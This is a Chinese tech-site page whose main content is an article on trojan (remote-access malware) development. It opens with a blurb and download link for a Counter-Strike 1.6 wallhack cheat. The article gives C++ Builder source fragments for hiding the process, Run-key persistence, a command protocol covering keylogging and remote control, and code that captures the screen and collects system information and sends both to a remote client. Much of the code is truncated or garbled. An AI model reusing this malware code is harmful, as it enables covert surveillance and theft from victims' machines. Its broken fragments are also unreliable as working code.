| 您所在的位置: >
> 易语言cs1.6辅助源码标签名称更新时间&&&&&&易语言助手***程序可以添加你想自动加载的模块到自动加载分类上,当易语言启动时,就自动加载到易语言里。目前只支持双击易语言主程序新建空程序时才能自动加载。 易语言助手***程序功能特点 1、易工具箱集合以前的EC助手,并更改成支...cs1.6纯透视***器
cs1.6纯透视***器游戏介绍
《反恐精英cs1.6》(英文:Counter-Strike;简称CS)是一种以团队合作为主的射击类网络游戏。1998年,由Valve Software公司制作推出,是一款第一人称射击游戏,属于《半条命》(Half-Life)的其中一个游戏模组(MOD)衍生而成的游戏,来源是《雷神之锤II》(Quake 2)的MOD,多数原Action Quake 2贡献者加入了CS开发。CS最新版本为使用《半条命2》(Half-life 2)的“Source”引擎制作的《反恐精英:起源》。WCG、CPL、ESWC等电子竞技都以CS1.6为比赛项目。
cs1.6纯透视***器下载地址
您可能还会喜欢透视木马程序开发技术病毒源代码详解
透视木马程序开发技术病毒源代码详解
近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。
1、木马程序的分类
木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。
2.木马程序的隐藏技术
木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。
说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。
进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。
想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。
当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
DWORD dwVersion = GetVersion();//取得Windows的版本号
if (dwVersion &= 0x) // Windows 9x隐藏任务列表
int (CALLBACK *rsp)(DWORD,DWORD);
HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL
rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");
//找到RegisterServiceProcess的入口
rsp(NULL,1);//注册服务
FreeLibrary(dll);//释放DLL模块
catch (Exception &exception)//处理异常事件
//处理异常事件
3、程序的自加载运行技术
让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run键值来实现自启动的程序:
自装载部分:
AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/"&\\")+PName
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if (int(ShellExecute(Handle,
NewProgramName.c_str(),
SW_HIDE))&32)
WantClose=
k=REG_OPENED_EXISTING_KEY;
long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
ProgramName.c_str(),
ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
char strv[255];
DWORD vl=254;
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
strv,&vl);
if (strcmp(str,"BGroup")==0)
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
自装载程序的卸载代码:
char str2[20];
DWORD lth=20;
char strv[255];
DWORD vl=254;
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,
if (strcmp(str,"BGroup")==0)
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
}while(Suc== ERROR_SUCCESS)
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
Suc=RegEnumValue(hkey,(DWORD)num,str,if (strcmp(str,"BackGroup")==0)
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey);
其中自装载部分使用C++ Builder可以这样写,会比较简化:
TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
if(!regKey.ValueExists("Interbase Server"))
regKey.WriteString("Interbase Server",
"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");
regKey.CloseKey();
4、木马程序的建立连接的隐藏
木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。
C:\Documents and Settings\bigball&netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 192.0.0.9:.13.48:1863 ESTABLISHED
TCP 192.0.0.9:.212.95:80 ESTABLISHED
TCP 192.0.0.9:.239.223:80 ESTABLISHED
TCP 192.0.0.9:.239.223:80 ESTABLISHED
TCP 192.0.0.9:.0.8:139 TIME_WAIT
TCP 192.0.0.9:.239.159:80 ESTABLISHED
TCP 192.0.0.9:.239.133:80 TIME_WAIT
C:\Documents and Settings\bigball&netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP Liumy:echo Liumy:0 LISTENING
TCP Liumy:discard Liumy:0 LISTENING
TCP Liumy:daytime Liumy:0 LISTENING
TCP Liumy:qotd Liumy:0 LISTENING
TCP Liumy:chargen Liumy:0 LISTENING
TCP Liumy:epmap Liumy:0 LISTENING
TCP Liumy:microsoft-ds Liumy:0 LISTENING
TCP Liumy:1025 Liumy:0 LISTENING
TCP Liumy:1026 Liumy:0 LISTENING
TCP Liumy:1031 Liumy:0 LISTENING
TCP Liumy:1032 Liumy:0 LISTENING
TCP Liumy:1112 Liumy:0 LISTENING
TCP Liumy:1135 Liumy:0 LISTENING
TCP Liumy:1142 Liumy:0 LISTENING
TCP Liumy:1801 Liumy:0 LISTENING
TCP Liumy:3372 Liumy:0 LISTENING
TCP Liumy:3389 Liumy:0 LISTENING
TCP Liumy:netbios-ssn Liumy:0 LISTENING
TCP Liumy:1028 Liumy:0 LISTENING
TCP Liumy:1032 msgr-n:1863 ESTAB
TCP Liumy::23:http ESTABLISHED
TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT
TCP Liumy:.239.133:http TIME_WAIT
TCP Liumy:2103 Liumy:0 LISTENING
TCP Liumy:2105 Liumy:0 LISTENING
TCP Liumy:2107 Liumy:0 LISTENING
UDP Liumy:echo *:*
UDP Liumy:discard *:*
UDP Liumy:daytime *:*
UDP Liumy:qotd *:*
UDP Liumy:chargen *:*
UDP Liumy:epmap *:*
UDP Liumy:snmp *:*
UDP Liumy:microsoft-ds *:*
UDP Liumy:1027 *:*
UDP Liumy:1029 *:*
UDP Liumy:3527 *:*
UDP Liumy:4000 *:*
UDP Liumy:4001 *:*
UDP Liumy:1033 *:*
UDP Liumy:1148 *:*
UDP Liumy:netbios-ns *:*
UDP Liumy:netbios-dgm *:*
UDP Liumy:isakmp *:*
但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:
网络层次结构图
5、发送数据的组织方法
关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:
typedef struct{ //定义消息结构
//char ip[20];
char T //消息种类
char Password[20]; //密码
int CN //消息操作号
//int L //消息长度
#define MsgLen sizeof(Msg)
//-------------------------------------------
//对话框数据包定义:Dlg_Msg_Type.h
//-------------------------------------------
//定义如下消息类型:
#define MsgDlgCommon 4//连接事件
#define MsgDlgSend 5//发送完成事件
//消息结构
typedef struct{
char Name[20];//对话框标题
char Msg[256];//对话框消息内容
#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度
//------------------------------------------
//聊天数据包定义:Chat_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgChatCommon 0//连接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//结束事件
#define MsgChatReceived 16//确认对话内容收到
//消息结构
typedef struct{
char ClientName[20];//Client自定义的名称
char Msg[256];//发送的消息
#define MsgChatLen sizeof(MsgChatUint)//消息单元长度
//------------------------------------------
//重启数据包定义:Reboot_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgReBoot 15//重启事件
//------------------------------------------
//目录结构请求数据包定义:Dir_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目录名
#define MsgDirUintLen sizeof(MsgDirUint)
// TCP的Msg
typedef struct{ //定义消息结构
char ST //消息种类
char SPassword[20]; //密码
//int SN //消息操作号
char *AllM
#define SMsgLen sizeof(SMsg)
#define MSGListProgram 19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey 23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp请求消息
#define MSGCopyWindow 26
//-------------------------
//鼠标指针隐藏和显示控制
//-------------------------
#define MsgSetMouseStat 27//设置消息
#define MsgMouseStat 28//成功消息
typedef struct{
}MsgSetMouseStatU
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//-------------------------
//任务栏隐藏和显示控制
//-------------------------
#define MsgSetTaskBarStat 29//设置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
}MsgSetTaskBarStatU
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameU
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
}MsgSetProgramCloseU
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字
bool ProgramS//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenU
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)
上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消⒌摹?/P&
数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:
Msg *msg=new M
TMemoryStream *RData=new TMemoryS
NMUDP1-&ReadStream(RData);
RData-&Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpC
NetBiosName *netbiosname=new NetBiosN
if(msg-&CNum==CNumBak)
CNumBak=msg-&CN
switch(msg-&Type)
case 0://MsgUdpConnect
RData-&Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect-&IsRight);
RData-&Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="机器名 ";
jqm+=(AnsiString)netbiosname-&NetBiosN
Memo2-&Lines-&Add(jqm);
当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:
NMUDP1-&RemoteHost=FromIP;
NMUDP1-&RemotePort=P
TMemoryStream *RData=new TMemoryS
NMUDP1-&ReadStream(RData);
Msg *msg=new M
RData-&Read(msg,sizeof(Msg));
if(msg-&CNum==CNumBak)
CNumBak=msg-&CN
switch(msg-&Type)
checkuser(msg-&Password);
GetNetBiosName();
CheckHard();
此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:
#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xC
ItemHeight=Sh/yC
Sw=Screen-&W
Sh=Screen-&H
xCount=(Sw&;
yCount=(Sh&;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
CatchScreen(DNum,Qlity);
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TB
bm-&Width=Sw;
bm-&Height=Sh;
BitBlt(bm-&Canvas-&Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
for (num3=0;num3 Colors[num1][num2][num3]=bm-&Canvas-&Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=
int CNum,MaxCN
int ChangedNum=0;
int MinSize=10000;
TRect MinR
Graphics::TBitmap *bt2=new Graphics::TB
TJPEGImage *j=new TJPEGI
//************************
j-&Quality=Q
//************************
CopyScreenUint CopyS
CopyScreenItemUint CopyScreenI
TMemoryStream *ms=new TMemoryS
ms-&Write(&TcpMsg,sizeof(TcpMsgUint));
ms-&Write(&CopyScreen,sizeof(CopyScreenUint));
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3&=xCnum3++){
MaxCNum=0;
for (num4=num2+1;num4&=yCnum4++){ //遍历所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum&MaxCNum) MaxCNum=CN
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CN
MinRect=TRect(num1,num2,num3,num4);
TMemoryStream *
BitBlt(bt2-&Canvas-&Handle,0,0,ItemWidth-1,ItemHeight-1,bt-&Canvas-&Handle,0,0);
j-&Assign(bt2);
j-&SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
ms2-&Position=0;
CopyScreenItem.Length=ms2-&S
ms-&Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms-&CopyFrom(ms2,ms2-&Size);
ChangedNum++;
}while(MaxCNum&0);
TcpMsg.Type=MsgCopyS
ms-&Position=0;
TcpMsg.Length=ms-&Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedN
ms-&Write(&TcpMsg,sizeof(TcpMsgUint));
ms-&Write(&CopyScreen,sizeof(CopyScreenUInt));
ms-&Position=0;
sock-&SendStream(ms);
这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。
6、目标机器情况的获取
相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。
fp=fopen("temp.had","w+");
//TODO: Add your source code here
//获得CPU型号
SYSTEM_INFO
GetSystemInfo (&systeminfo);
cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,
long int freespace,
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—CD-ROM、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,
for (name=‘A‘;name&=‘Z‘;name++) {//循环检测A~Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型
if(type==0){
cs="未知类型磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
else if(type==2){
cs="可移动类型磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
else if(type==3){
cs="固定磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
else if(type==4) {
cs="网络映射磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
else if (type==5){
cs="光驱:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
else if (type==6){
cs="内存虚拟磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(),
volname,255,&sno,&maxl,&fileflag,filename,100)){
cs=String(name)+"盘卷标为:"+String(volname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+"盘序号为:"+String(sno)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数
totalspace=int(cluster)*byte*sector/; //计算总容量
freespace=int(free)*byte*sector/; //计算可用空间
cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
int wavedevice,
W***EOUTCAPS
MIDIOUTCAPS
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
waveOutGetDevCaps(0,&wavecap,sizeof(W***EOUTCAPS));
cs="当前波形设备:"+String(wavecap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
if (mididevice!=0){
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
cs="当前MIDI设备:"+String(midicap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
long int bpp,
cs="当前分辨率为:"+String(Screen-&Width)+AnsiString("*")+ String(Screen-&Height)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas-&Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1-&Canvas-&Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
cs="当前色深为:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryS
ms-&Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
上一页 1 2 3
buf=new char[fs-&Size+sizeof(TcpMsgUint)+1];
fs-&Read(buf,fs-&Size);
Msg2.Type=MsgGetHardW
Msg2.Length=fs-&S
FileClose(fs-&Handle);
ms-&Write(&Msg2,sizeof(TcpMsgUint));
ms-&Write(buf,Msg2.Length);
ms-&Position=0;
sock-&SendStream(ms);
catch(Exception&e) {
上面一段程序,基本上把相关的系统信息都取到了。
7、服务器端程序的包装与加密
用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?
首先让我们来做一个实验:
进入Windows的命令行模式下做如下操作
1)C:\© Server.Exe Server.Bak
3)C:\&type Text.Txt&&Server.Exe
4)运行Server.Exe
怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。
8、总结
以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。
&&&主编推荐
H3C认证Java认证Oracle认证
基础英语软考英语项目管理英语职场英语
.NETPowerBuilderWeb开发游戏开发Perl
二级模拟试题一级模拟试题一级考试经验四级考试资料
软件测试软件外包系统分析与建模敏捷开发
法律法规历年试题软考英语网络管理员系统架构设计师信息系统监理师
高级通信工程师考试大纲设备环境综合能力
路由技术网络存储无线网络网络设备
CPMP考试prince2认证项目范围管理项目配置管理项目管理案例项目经理项目干系人管理
职称考试题目
招生信息考研政治
网络安全安全设置工具使用手机安全
生物识别传感器物联网传输层物联网前沿技术物联网案例分析
Java核心技术J2ME教程
Linux系统管理Linux编程Linux安全AIX教程
Windows系统管理Windows教程Windows网络管理Windows故障
数据库开发Sybase数据库Informix数据库
&&&&&&&&&&&&&&&
希赛网 版权所有 & &&